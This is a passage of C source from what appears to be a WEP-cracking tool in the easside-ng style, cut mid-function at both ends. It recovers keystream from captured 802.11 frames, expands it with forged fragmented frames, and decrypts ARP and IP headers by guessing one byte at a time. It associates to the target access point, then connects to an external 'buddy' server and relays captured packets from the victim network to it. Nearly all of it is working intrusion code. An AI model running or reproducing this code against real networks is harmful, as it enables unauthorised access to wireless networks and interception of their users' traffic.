IEEE80211_FC0_SUBTYPE_MASK); break; } } int our_network(struct east_state *es, struct ieee80211_frame *wh) { void *bssid = (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) ? wh->i_addr2 : wh->i_addr1; return memcmp(es->es_apmac, bssid, sizeof(es->es_apmac)) == 0; } void xor(void *out, void *clear, void *cipher, int len) { unsigned char *cl = (unsigned char*) clear; unsigned char *ci = (unsigned char*) cipher; unsigned char *o = (unsigned char*) out; while (len--) *o++ = *cl++ ^ *ci++; } void save_prga(struct east_state *es) { int fd, rc; assert(es->es_prgalen <= (int) sizeof(es->es_prga)); printf_time("Got %d bytes of PRGA IV [%.2X:%.2X:%.2X]", es->es_prgalen, es->es_iv[0], es->es_iv[1], es->es_iv[2]); #if 0 printf(": "); for (i = 0; i < es->es_prgalen; i++) printf("%.2X ", es->es_prga[i]); #endif printf("\n"); fd = open(S_PRGA_LOG, O_WRONLY | O_CREAT, 0644); if (fd == -1) err(1, "save_prga: open()"); rc = write(fd, es->es_iv, 3); if (rc != 3) { printf("save_prga: can't write IV\n"); exit(1); } rc = write(fd, es->es_prga, es->es_prgalen); if (rc != es->es_prgalen) { printf("save_prga: can't write PRGA\n"); exit(1); } close(fd); } int is_arp(struct ieee80211_frame *wh, int len) { int arpsize = 8 + sizeof(struct arphdr) + 10*2; if (wh) {} /* XXX unused */ if (len == arpsize || len == 54) return 1; return 0; } void *get_sa(struct ieee80211_frame *wh) { if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) return wh->i_addr3; else return wh->i_addr2; } void *get_da(struct ieee80211_frame *wh) { if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) return wh->i_addr1; else return wh->i_addr3; } int known_clear(void *clear, struct ieee80211_frame *wh, int len) { unsigned char *ptr = clear; /* IP */ if (!is_arp(wh, len)) { unsigned short iplen = htons(len - 8); printf("Assuming IP %d\n", len); len = sizeof(S_LLC_SNAP_IP) - 1; memcpy(ptr, S_LLC_SNAP_IP, len); ptr += len; #if 1 len = 2; memcpy(ptr, "\x45\x00", len); ptr += len; memcpy(ptr, &iplen, len); ptr += len; #endif len = ptr - ((unsigned char*)clear); return len; } printf("Assuming ARP %d\n", len); /* arp */ len = sizeof(S_LLC_SNAP_ARP) - 1; memcpy(ptr, S_LLC_SNAP_ARP, len); ptr += len; /* arp hdr */ len = 6; memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len); ptr += len; /* type of arp */ len = 2; if (memcmp(get_da(wh), "\xff\xff\xff\xff\xff\xff", 6) == 0) memcpy(ptr, "\x00\x01", len); else memcpy(ptr, "\x00\x02", len); ptr += len; /* src mac */ len = 6; memcpy(ptr, get_sa(wh), len); ptr += len; len = ptr - ((unsigned char*)clear); return len; } void base_prga(struct east_state *es, struct ieee80211_frame *wh, int len) { unsigned char ct[1024]; unsigned char *data = (unsigned char*) (wh+1); int prgalen; memcpy(es->es_iv, data, 3); data += 4; len -= 4 + 4; /* IV & CRC */ if (len <= 0) { printf("base_prga: lame len %d\n", len); return; } prgalen = known_clear(ct, wh, len); xor(es->es_prga, ct, data, prgalen); es->es_prgalen = prgalen; save_prga(es); } unsigned int get_crc32(void *data, int len) { uLong crc; crc = crc32(0L, Z_NULL, 0); crc = crc32(crc, data, len); return crc; } void check_expand(struct east_state *es, struct ieee80211_frame *wh, int len) { int elen; unsigned long crc; unsigned char *data = (unsigned char*) (wh+1); if (!(wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)) return; if (memcmp(es->es_apmac, wh->i_addr2, 6) != 0) return; if (memcmp(es->es_mymac, wh->i_addr3, 6) != 0) return; if (memcmp("\xff\xff\xff\xff\xff\xff", wh->i_addr1, 6) != 0) return; elen = es->es_expand_len; if (elen != (len-4)) return; if (elen <= es->es_prgalen) return; /* iv */ memcpy(es->es_iv, data, 3); data += 4; elen -= 4; /* payload */ assert(elen <= (int) sizeof(es->es_clear)); es->es_prgalen = elen + 4; xor(es->es_prga, es->es_clear, data, elen); /* crc */ crc = htole32(get_crc32(es->es_clear, elen)); xor(&es->es_prga[elen], &crc, data + elen, 4); save_prga(es); if (es->es_prgalen == sizeof(es->es_prga)) es->es_astate = AS_FIND_IP; } int to_me(struct east_state *es, struct ieee80211_frame *wh) { return (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && memcmp(es->es_mymac, get_da(wh), 6) == 0; } int from_me(struct east_state *es, struct ieee80211_frame *wh) { return memcmp(es->es_mymac, get_sa(wh), 6) == 0; } int check_decrypt(struct east_state *es, struct ieee80211_frame *wh, int len) { int elen; if (!from_me(es, wh)) return 0; if (memcmp(wh->i_addr1, S_MCAST, 5) != 0) return 0; elen = es->es_prga_dlen + 1; if (elen != (len - 4)) return 0; es->es_prga_d[es->es_prga_dlen] = wh->i_addr1[5]; #if 0 printf("\nPrga byte %d is %.2X\n", es->es_prga_dlen, es->es_prga_d[es->es_prga_dlen]); #endif es->es_prga_dlen++; assert(es->es_prga_dlen <= (int) sizeof(es->es_prga_d)); return 1; } void decrypt_ip_addr(struct east_state *es, void *dst, int *len, void *cipher, int off) { unsigned char *c = cipher; *len = es->es_prga_dlen - off; if (*len > 4) *len = 4; assert(*len > 0); xor(dst, c + off, es->es_prga_d + off, *len); } void found_net_addr(struct east_state *es, unsigned char *a) { unsigned char ip[4]; memcpy(ip, a, 3); if (!ip[0]) { printf("Shit, prolly got a lame dhcp dude\n"); exit(1); } ip[3] = 123; memcpy(&es->es_myip, ip, 4); printf("My IP %s\n", inet_ntoa(es->es_myip)); set_tap_ip(es); ip[3] = 1; memcpy(&es->es_rtrip, ip, 4); printf("Rtr IP %s\n", inet_ntoa(es->es_rtrip)); es->es_astate = AS_FIND_RTR_MAC; } void check_decrypt_arp(struct east_state *es, struct ieee80211_frame *wh, int len) { unsigned char ip[4]; int iplen; int off = 8 + sizeof(struct arphdr) + 6; unsigned char *data; int i; if (!check_decrypt(es, wh, len)) return; iplen = es->es_prga_dlen - off; assert(iplen > 0 && iplen <= (int) sizeof(ip)); data = (unsigned char*)(((struct ieee80211_frame*)es->es_packet_arp)+1); data += + 4 + off; xor(ip, data, &es->es_prga_d[off], iplen); printf("\nARP IP so far: "); for (i = 0; i < iplen; i++) { printf("%d", ip[i]); if ((i+1) < iplen) printf("."); } printf("\n"); if (iplen == 3) found_net_addr(es, ip); } void check_decrypt_ip(struct east_state *es, struct ieee80211_frame *wh, int len) { int off_ip = 8; int off_id = off_ip + 4; int off_ttl = off_id + 4; int off_p = off_ttl + 1; int off_check = off_p + 1; int off_s_addr = off_check + 2; int off_d_addr = off_s_addr + 4; unsigned char *data = es->es_packet + sizeof(*wh) + 4; if (!check_decrypt(es, wh, len)) return; if (es->es_prga_dlen == (off_id+2)) { #if 0 unsigned char *c = data + off_id + 2; #endif printf("\nGot IP ID\n"); #if 0 xor(&es->es_prga_d[es->es_prga_dlen], c, "\x00\x00", 2); es->es_prga_dlen += 2; es->es_prga_d[es->es_prga_dlen] = 0; #endif } else if (es->es_prga_dlen == (off_ttl+1)) { printf("\nGot IP TTL\n"); } else if (es->es_prga_dlen == (off_p+1)) { unsigned char *c = data + off_p; int p = (*c) ^ es->es_prga_d[es->es_prga_dlen-1]; char *str = NULL; switch (p) { case IPPROTO_ICMP: str = "icmp"; break; case IPPROTO_UDP: str = "udp"; break; case IPPROTO_TCP: str = "tcp"; break; default: str = "unknown"; break; } printf("\nGot proto %s\n", str); } else if (es->es_prga_dlen == (off_check+2)) { printf("\nGot checksum [could use to help bforce addr]\n"); } else if ((es->es_prga_dlen >= off_s_addr) && (es->es_prga_dlen <= (off_s_addr+4))) { unsigned char ip[4]; int iplen; int i; decrypt_ip_addr(es, ip, &iplen, data, off_s_addr); printf("\nSource IP so far: "); for (i = 0; i < iplen; i++) { printf("%d", ip[i]); if (i+1 < iplen) printf("."); } printf("\n"); if (es->es_have_src && iplen == 3) found_net_addr(es, ip); } else if ((es->es_prga_dlen >= off_d_addr) && (es->es_prga_dlen <= (off_d_addr+4))) { unsigned char dip[4]; struct in_addr sip; int iplen; int i; decrypt_ip_addr(es, &sip, &i, data, off_s_addr); decrypt_ip_addr(es, dip, &iplen, data, off_d_addr); printf("\nIPs so far %s->", inet_ntoa(sip)); for (i = 0; i < iplen; i++) { printf("%d", dip[i]); if (i+1 < iplen) printf("."); } printf("\n"); assert(!es->es_have_src); if (iplen == 3) found_net_addr(es, dip); } else if (es->es_prga_dlen > off_d_addr) abort(); } void setup_internet(struct east_state *es) { struct sockaddr_in s_in; char buf[16]; es->es_astate = AS_CHECK_INET; clear_timeout(es); printf("Trying to connect to buddy: %s:%d\n", inet_ntoa(es->es_srvip), es->es_port); assert(es->es_buddys == 0); es->es_buddys = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); if (es->es_buddys == -1) err(1, "setup_internet: socket()"); memset(&s_in, 0, sizeof(s_in)); s_in.sin_family = PF_INET; s_in.sin_addr = es->es_srvip; s_in.sin_port = htons(es->es_port); if (connect(es->es_buddys, (struct sockaddr*) &s_in, sizeof(s_in)) == -1) err(1, "setup_internet: connect()"); printf("Connected\n"); /* handshake */ if (send(es->es_buddys, "sorbo", 5, 0) != 5) err(1, "setup_internet: send()"); if (recv(es->es_buddys, buf, 6, 0) != 6) err(1, "setup_internet: recv()"); if (memcmp(buf, "sorbox", 6) != 0) { printf("setup_internet: handshake failed"); exit(1); } printf("Handshake compl33t\n"); } void check_rtr_mac(struct east_state *es, struct ieee80211_frame *wh, int len) { void *sa; char str[18]; if (!to_me(es, wh)) return; if (!is_arp(wh, len-4-4)) return; sa = get_sa(wh); memcpy(es->es_rtrmac, sa, 6); mac2str(str, es->es_rtrmac, sizeof(str)); printf("Rtr MAC %s\n", str); setup_internet(es); } struct rpacket *get_slot(struct east_state *es) { struct rpacket *slot = es->es_rqueue; struct rpacket *p = es->es_rqueue; /* try to recycle */ while (slot) { if (!slot->rp_len) return slot; slot = slot->rp_next; } slot = malloc(sizeof(*slot)); if (!slot) err(1, "get_slot: malloc()"); memset(slot, 0, sizeof(*slot)); if (!p) es->es_rqueue = slot; else { while (p->rp_next) p = p->rp_next; p->rp_next = slot; } return slot; } struct rpacket *get_head(struct east_state *es) { struct rpacket *rp = es->es_rqueue; if (!rp) return NULL; if (!rp->rp_len) return NULL; return rp; } struct rpacket *get_packet(struct east_state *es, int id) { struct rpacket *rp = es->es_rqueue; while (rp) { if (!rp->rp_len) return NULL; if (rp->rp_id == id) return rp; rp = rp->rp_next; } return NULL; } void remove_packet(struct east_state *es, int id) { struct rpacket *rp = es->es_rqueue; struct rpacket **prevn; struct rpacket *p; assert(rp); prevn = &es->es_rqueue; /* find and remove */ while (rp) { if (rp->rp_id == id) { rp->rp_len = 0; *prevn = rp->rp_next; break; } prevn = &rp->rp_next; rp = rp->rp_next; } assert(rp); /* only one element */ p = es->es_rqueue; if (!p) { es->es_rqueue = rp; assert(!rp->rp_next); return; } while (p) { if (!p->rp_len) { rp->rp_next = p->rp_next; p->rp_next = rp; return; } prevn = &p->rp_next; p = p->rp_next; } /* last elem */ rp->rp_next = NULL; *prevn = rp; } int queue_len(struct east_state *es) { int len = 0; struct rpacket *slot = es->es_rqueue; while (slot) { if (!slot->rp_len) break; len++; slot = slot->rp_next; } return len; } void redirect_enque(struct east_state *es, struct ieee80211_frame *wh, int len) { char s[18]; char d[18]; struct rpacket *slot; slot = get_slot(es); slot->rp_len = len; assert(slot->rp_len <= (int) sizeof(slot->rp_packet)); memcpy(slot->rp_packet, wh, slot->rp_len); es->es_rpacket_id++; slot->rp_id = es->es_rpacket_id; mac2str(s, get_sa(wh), sizeof(s)); mac2str(d, get_da(wh), sizeof(d)); printf_time("Enqueued packet id %d %s->%s %d [qlen %d]\n", slot->rp_id, s, d, len - sizeof(*wh) - 4- 4, queue_len(es)); } void check_redirect(struct east_state *es, struct ieee80211_frame *wh, int len) { if (!for_me_and_from_ap(es, wh)) return; if (is_dup(es, wh)) return; redirect_enque(es, wh, sizeof(*wh) + len); } void read_data(struct east_state *es, struct ieee80211_frame *wh, int len) { if ((wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) != IEEE80211_FC0_SUBTYPE_DATA) return; if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) return; if (!our_network(es, wh)) return; if (!from_me(es, wh)) { if (!es->es_have_packet || (es->es_astate <= AS_FIND_IP && !es->es_have_src)) { assert((int) sizeof(es->es_packet) >= len); memcpy(es->es_packet, wh, len); es->es_have_packet = len; if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) es->es_have_src = 1; if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && wh->i_addr1[0] != 0) es->es_have_src = 1; } if (!es->es_have_arp && is_arp(wh, len-sizeof(*wh)-4-4)) { memcpy(es->es_packet_arp, wh, len); es->es_have_arp = len; if (es->es_astate == AS_DECRYPT_IP) { printf("\nPreempting to ARP decryption\n"); es->es_astate = AS_FIND_IP; } } } len -= sizeof(*wh); switch (es->es_astate) { case AS_NOPRGA: base_prga(es, wh, len); es->es_astate = AS_PRGA_EXPAND; break; case AS_PRGA_EXPAND: check_expand(es, wh, len); break; case AS_FIND_IP: break; case AS_DECRYPT_ARP: check_decrypt_arp(es, wh, len); break; case AS_DECRYPT_IP: check_decrypt_ip(es, wh, len); break; case AS_FIND_RTR_MAC: check_rtr_mac(es, wh, len); break; case AS_CHECK_INET: break; case AS_REDIRECT: check_redirect(es, wh, len); break; default: abort(); break; } } void read_wifi(struct east_state *es) { unsigned char buf[4096]; int len; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; len = wi_read(es->es_wi, buf, sizeof(buf), NULL); if (len == -1) err(1, "wi_read()"); /* XXX: I don't do any length chex */ if (len < 2) { printf("Short packet %d\n", len); return; } switch (wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) { case IEEE80211_FC0_TYPE_MGT: read_mgt(es, wh, len); break; case IEEE80211_FC0_TYPE_CTL: read_ctl(es, wh, len); break; case IEEE80211_FC0_TYPE_DATA: read_data(es, wh, len); break; default: printf("Unknown type %x\n", wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK); break; } } unsigned int msec_diff(struct timeval *after, struct timeval *before) { unsigned int diff; assert(after->tv_sec >= before->tv_sec); if (after->tv_sec > before->tv_sec) { unsigned int usec; diff = (after->tv_sec - before->tv_sec - 1) * 1000; usec = 1000*1000 - before->tv_usec; usec += after->tv_usec; diff += usec/1000; } else /* after->tv_sec == before->tv_sec */ diff = (after->tv_usec - before->tv_usec)/1000; return diff; } void msec_to_tv(int msec, struct timeval *tv) { tv->tv_sec = msec/1000; tv->tv_usec = (msec - tv->tv_sec*1000)*1000; } void chan_hop(struct east_state *es, struct timeval *tv) { struct timeval now; unsigned int elapsed; if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()"); elapsed = msec_diff(&now, &es->es_lasthop); /* hop */ if (elapsed >= es->es_hopfreq) { es->es_apchan++; if (es->es_apchan > 12) es->es_apchan = 1; es->es_lasthop = now; set_chan(es); printf("Chan %.2d\r", es->es_apchan); fflush(stdout); msec_to_tv(es->es_hopfreq, tv); } else msec_to_tv(es->es_hopfreq - elapsed, tv); } unsigned short fnseq(unsigned short fn, unsigned short seq) { unsigned short r = 0; assert(fn < 16); r = fn; r |= ( (seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT); return r; } void fill_basic(struct east_state *es, struct ieee80211_frame *wh) { unsigned short* sp; /* macs */ memcpy(wh->i_addr1, es->es_apmac, sizeof(wh->i_addr1)); memcpy(wh->i_addr2, es->es_mymac, sizeof(wh->i_addr2)); memcpy(wh->i_addr3, es->es_apmac, sizeof(wh->i_addr3)); /* duration */ sp = (unsigned short*) wh->i_dur; // *sp = htole16(32767); *sp = htole16(0); /* seq */ sp = (unsigned short*) wh->i_seq; *sp = fnseq(0, es->es_txseq); } void send_frame(struct east_state *es, void *buf, int len) { int rc; rc = wi_write(es->es_wi, buf, len, NULL); if(rc == -1) err(1, "wi_write()"); if (rc != len) { printf("ERROR: Packet length changed while transmitting (%d instead of %d).\n", rc, len); exit(1); } if (gettimeofday(&es->es_txlast, NULL) == -1) err(1, "gettimeofday()"); } int too_early(struct timeval *tv, int to, struct timeval *last_sent) { struct timeval now; unsigned int elapsed; /* check if timeout expired */ if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()"); elapsed = msec_diff(&now, last_sent); if (elapsed < (unsigned int) to) { msec_to_tv(to - elapsed, tv); return 1; } msec_to_tv(to, tv); return 0; } void send_auth(struct east_state *es, struct timeval *tv) { unsigned char buf[4096]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; unsigned short *sp; int len; if (too_early(tv, es->es_txto_mgt, &es->es_txlast)) return; memset(buf, 0, sizeof(buf)); es->es_txseq++; fill_basic(es, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH; /* transaction number */ sp = (unsigned short*) (wh+1); sp++; *sp = htole16(1); len = sizeof(*wh) + 2 + 2 + 2; printf("Sending auth request\n"); send_frame(es, wh, len); } void send_assoc(struct east_state *es, struct timeval *tv) { unsigned char buf[4096]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; unsigned short *sp; int len; unsigned char *ptr; if (too_early(tv, es->es_txto_mgt, &es->es_txlast)) return; memset(buf, 0, sizeof(buf)); es->es_txseq++; fill_basic(es, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ; sp = (unsigned short*) (wh+1); /* capability */ *sp++ = htole16(IEEE80211_CAPINFO_ESS | IEEE80211_CAPINFO_PRIVACY); *sp++ = htole16(100); /* listen interval */ /* ssid */ ptr = (unsigned char*) sp; *ptr++ = IEEE80211_ELEMID_SSID; len = strlen(es->es_apssid); *ptr++ = len; strncpy((char*)ptr, es->es_apssid, 32); ptr += len; /* rates */ *ptr++ = IEEE80211_ELEMID_RATES; *ptr++ = 8; *ptr++ = 2 | 0x80; *ptr++ = 4 | 0x80; *ptr++ = 11 | 0x80; *ptr++ = 22 | 0x80; *ptr++ = 12 | 0x80; *ptr++ = 24 | 0x80; *ptr++ = 48 | 0x80; *ptr++ = 72; /* x-rates */ *ptr++ = IEEE80211_ELEMID_XRATES; *ptr++ = 4; *ptr++ = 48; *ptr++ = 72; *ptr++ = 96; *ptr++ = 108; len = ptr - buf; printf("Sending assoc request\n"); send_frame(es, wh, len); } void put_crc32(void *data, int len) { unsigned int *ptr = (unsigned int*) ((char*)data+len); *ptr = get_crc32(data, len); } void expand_prga(struct east_state *es, struct timeval *tv) { unsigned char buf[2048]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; unsigned char *data = (unsigned char*) (wh+1); unsigned short* sp = (unsigned short*) wh->i_seq; int dlen; int early; int totlen; /* start from beginning */ if (es->es_expand_num == -1) { es->es_txack = 0; es->es_expand_num = 0; es->es_txseq++; es->es_clearp = es->es_clear; } early = too_early(tv, es->es_txto_expand, &es->es_txlast); if (!es->es_txack && early) return; memset(buf, 0, sizeof(buf)); /* see if we got an ack to move onto next frag */ if (es->es_txack) { es->es_expand_num++; es->es_clearp = es->es_clearpnext; if (es->es_expand_num == es->es_expand_factor) { es->es_expand_num = 0; es->es_txseq++; es->es_clearp = es->es_clear; } es->es_txack = 0; } else wh->i_fc[1] |= IEEE80211_FC1_RETRY; if (es->es_expand_num == 0 && early) return; /* 802.11 header */ fill_basic(es, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA; wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG | IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP; memset(wh->i_addr3, 0xff, 6); /* iv & crc */ memcpy(data, es->es_iv, 3); data += 4; dlen = es->es_prgalen - 4; /* see how much we sent */ totlen = dlen*es->es_expand_num; es->es_expand_len = totlen + dlen + 4; if ((int) sizeof(es->es_prga) < es->es_expand_len) { es->es_expand_len -= dlen; dlen = sizeof(es->es_prga) - totlen - 4; /* don't need as many frags; start over */ if (dlen <= 0) { es->es_expand_num = -1; es->es_expand_len = sizeof(es->es_prga); return; } es->es_expand_len += dlen; wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG; } assert((es->es_clearp >= es->es_clear) && ((es->es_clearp + dlen) < &es->es_clear[sizeof(es->es_clear)])); memcpy(data, es->es_clearp, dlen); es->es_clearpnext = es->es_clearp + dlen; put_crc32(data, dlen); xor(data, data, es->es_prga, es->es_prgalen); /* send frag */ if ((es->es_expand_num+1) == es->es_expand_factor) wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG; *sp = fnseq(es->es_expand_num, es->es_txseq); printf("Sending %d byte fragment %d:%d\r", dlen, es->es_txseq, es->es_expand_num); fflush(stdout); send_frame(es, wh, data - buf + dlen + 4); } void decrypt_packet(struct east_state *es, struct timeval *tv) { unsigned char buf[2048]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; unsigned char *data = (unsigned char*) (wh+1); int dlen; if (too_early(tv, es->es_txto_decrypt, &es->es_txlast)) return; memset(buf, 0, sizeof(buf)); /* 802.11 header */ es->es_txseq++; fill_basic(es, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA; wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP; memcpy(wh->i_addr3, S_MCAST, 5); wh->i_addr3[5] = es->es_prga_d[es->es_prga_dlen]; /* iv & crc */ memcpy(data, es->es_prga_div, 3); data += 4; dlen = es->es_prga_dlen - 4 + 1; memcpy(data, es->es_clear, dlen); put_crc32(data, dlen); xor(data, data, es->es_prga_d, es->es_prga_dlen+1); printf_time("Guessing prga byte %d with %.2X\r", es->es_prga_dlen, es->es_prga_d[es->es_prga_dlen]); fflush(stdout); send_frame(es, wh, data - buf + dlen + 4); es->es_prga_d[es->es_prga_dlen]++; } void decrypt_arp(struct east_state *es, struct timeval *tv) { /* init */ if (es->es_astate != AS_DECRYPT_ARP) { unsigned char clear[1024]; unsigned char *prga = es->es_prga_d; unsigned char *ct; struct ieee80211_frame *wh = (struct ieee80211_frame*) es->es_packet_arp; int len; es->es_astate = AS_DECRYPT_ARP; ct = (unsigned char*) (wh+1); memcpy(es->es_prga_div, ct, 3); ct += 4; len = known_clear(clear, wh, 8 + sizeof(struct arphdr) + 10*2); xor(prga, clear, ct, len); prga += len; *prga = 0; es->es_prga_dlen = prga - es->es_prga_d; } decrypt_packet(es, tv); } void decrypt_ip(struct east_state *es, struct timeval *tv) { /* init */ if (es->es_astate != AS_DECRYPT_IP) { unsigned char clear[1024]; unsigned char *prga = es->es_prga_d; unsigned char *ct; struct ieee80211_frame *wh = (struct ieee80211_frame*) es->es_packet; int len; unsigned short totlen; es->es_astate = AS_DECRYPT_IP; ct = (unsigned char*) (wh+1); memcpy(es->es_prga_div, ct, 3); ct += 4; /* llc snap */ len = 8; memcpy(clear, S_LLC_SNAP_IP, len); xor(prga, clear, ct, len); prga += len; ct += len; /* ip hdr */ len = 2; memcpy(clear, "\x45\x00", len); xor(prga, clear, ct, len); prga += len; ct += len; /* tot len */ totlen = es->es_have_packet - sizeof(*wh) - 4 - 8 - 4; totlen = htons(totlen); len = 2; memcpy(clear, &totlen, len); xor(prga, clear, ct, len); prga += len; ct += len; *prga = 0; es->es_prga_dlen = prga - es->es_prga_d; } decrypt_packet(es, tv); } void find_ip(struct east_state *es, struct timeval *tv) { if (es->es_rtrip.s_addr && es->es_myip.s_addr) { set_tap_ip(es); es->es_astate = AS_FIND_RTR_MAC; return; } if (es->es_have_arp) decrypt_arp(es, tv); else if (es->es_have_packet) decrypt_ip(es, tv); } void send_whohas(struct east_state *es, struct timeval *tv) { unsigned char buf[2048]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; unsigned char *data = (unsigned char*) (wh+1); int dlen; struct arphdr *ah; unsigned char *datas; if (too_early(tv, es->es_txto_whohas, &es->es_txlast)) return; memset(buf, 0, sizeof(buf)); /* 802.11 header */ es->es_txseq++; fill_basic(es, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA; wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP; memset(wh->i_addr3, 0xff, 6); /* iv */ memcpy(data, es->es_iv, 3); data += 4; datas = data; /* llc snap */ memcpy(data, S_LLC_SNAP_ARP, 8); data += 8; /* arp */ ah = (struct arphdr*) data; ah->ar_hrd = htons(ARPHRD_ETHER); ah->ar_pro = htons(ETHERTYPE_IP); ah->ar_hln = 6; ah->ar_pln = 4; ah->ar_op = htons(ARPOP_REQUEST); data = (unsigned char*) (ah+1); memcpy(data, es->es_mymac, 6); data += 6; memcpy(data, &es->es_myip, 4); data += 4; data += 6; memcpy(data, &es->es_rtrip, 4); data += 4; dlen = data - datas; put_crc32(datas, dlen); assert(es->es_prgalen >= dlen + 4); xor(datas, datas, es->es_prga, dlen + 4); printf("Sending who has %s", inet_ntoa(es->es_rtrip)); printf(" tell %s\n", inet_ntoa(es->es_myip)); send_frame(es, wh, data - buf + 4); } void check_inet(struct east_state *es, struct timeval *tv) { unsigned char buf[2048]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; unsigned char *data = (unsigned char*) (wh+1); int dlen; struct ip *iph; unsigned char *datas; unsigned short *seq; struct udphdr *uh; if (too_early(tv, es->es_txto_checkinet, &es->es_txlast)) return; memset(buf, 0, sizeof(buf)); /* 802.11 header */ es->es_txseq++; fill_basic(es, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA; wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP; memcpy(wh->i_addr3, es->es_rtrmac, 6); /* iv */ memcpy(data, es->es_iv, 3); data += 4; datas = data; /* llc snap */ memcpy(data, S_LLC_SNAP_IP, 8); data += 8; /* ip */ iph = (struct ip*) data; iph->ip_hl = 5; iph->ip_v = 4; iph->ip_len = htons(sizeof(*iph)+sizeof(*uh)+S_HELLO_LEN); iph->ip_id = htons(666); iph->ip_ttl = 69; iph->ip_p = IPPROTO_UDP; iph->ip_src = es->es_myip; iph->ip_dst = es->es_srvip; iph->ip_sum = in_cksum((unsigned short*)iph, 20); /* udp */ uh = (struct udphdr*) (iph+1); uh->uh_sport = htons(53); uh->uh_dport = htons(es->es_udp_port); uh->uh_ulen = htons(sizeof(*uh)+S_HELLO_LEN); uh->uh_sum = 0; /* data */ data = (unsigned char*) (uh+1); strncpy((char*)data, "sorbo", 5); seq = (unsigned short*) (data+5); *seq = htons(++es->es_rpacket_id); data += S_HELLO_LEN; dlen = data - datas; put_crc32(datas, dlen); assert(es->es_prgalen >= dlen + 4); xor(datas, datas, es->es_prga, dlen + 4); printf("Checking for internet... %d\n", es->es_rpacket_id); send_frame(es, wh, data - buf + 4); if (gettimeofday(&es->es_rtt, NULL) == -1) err(1, "gettimeofday()"); } void redirect_sendip(struct east_state *es, struct rpacket *rp) { unsigned char buf[2048]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; unsigned char *data = (unsigned char*) (wh+1); int dlen; struct ip *iph; unsigned char *datas; struct udphdr *uh; unsigned short *id; memset(buf, 0, sizeof(buf)); /* 802.11 header */ fill_basic(es, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA; wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP | IEEE80211_FC1_MORE_FRAG; memcpy(wh->i_addr3, es->es_rtrmac, 6); /* iv */ memcpy(data, es->es_iv, 3); data += 4; datas = data; /* llc snap */ memcpy(data, S_LLC_SNAP_IP, 8); data += 8; /* ip */ iph = (struct ip*) data; iph->ip_hl = 5; iph->ip_v = 4; dlen = rp->rp_len - sizeof(*wh) - 4 - 4 + 2; iph->ip_len = htons(sizeof(*iph)+sizeof(*uh)+dlen); iph->ip_id = htons(666); iph->ip_ttl = 69; iph->ip_p = IPPROTO_UDP; iph->ip_src = es->es_myip; iph->ip_dst = es->es_srvip; iph->ip_sum = in_cksum((unsigned short*)iph, 20); /* udp */ uh = (struct udphdr*) (iph+1); uh->uh_sport = htons(53); uh->uh_dport = htons(es->es_udp_port); uh->uh_ulen = htons(sizeof(*uh)+dlen); uh->uh_sum = 0; /* packet id */ id = (unsigned short*) (uh+1); *id++ = htons(rp->rp_id); /* data */ data = (unsigned char*) id; dlen = data - datas; put_crc32(datas, dlen); assert(es->es_prgalen >= dlen + 4); xor(datas, datas, es->es_prga, dlen + 4); #if 0 printf("Sending IP for %d %d:0\n", rp->rp_id, es->es_txseq); #endif send_frame(es, wh, data - buf + 4); } void redirect_sendfrag(struct east_state *es, struct rpacket *rp) { unsigned char buf[2048]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; unsigned char *data = (unsigned char*) (wh+1); int dlen; unsigned short *sp = (unsigned short*) wh->i_seq; memset(buf, 0, sizeof(buf)); /* 802.11 header */ fill_basic(es, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA; wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP; memcpy(wh->i_addr3, es->es_rtrmac, 6); memset(wh->i_addr3, 0xff, 6); *sp = fnseq(1, es->es_txseq); dlen = rp->rp_len - sizeof(*wh); memcpy(data, ((struct ieee80211_frame*)rp->rp_packet) + 1, dlen); #if 0 printf("Sending frag for %d %d:1 [%d]\n", rp->rp_id, es->es_txseq, dlen - 8); #endif send_frame(es, 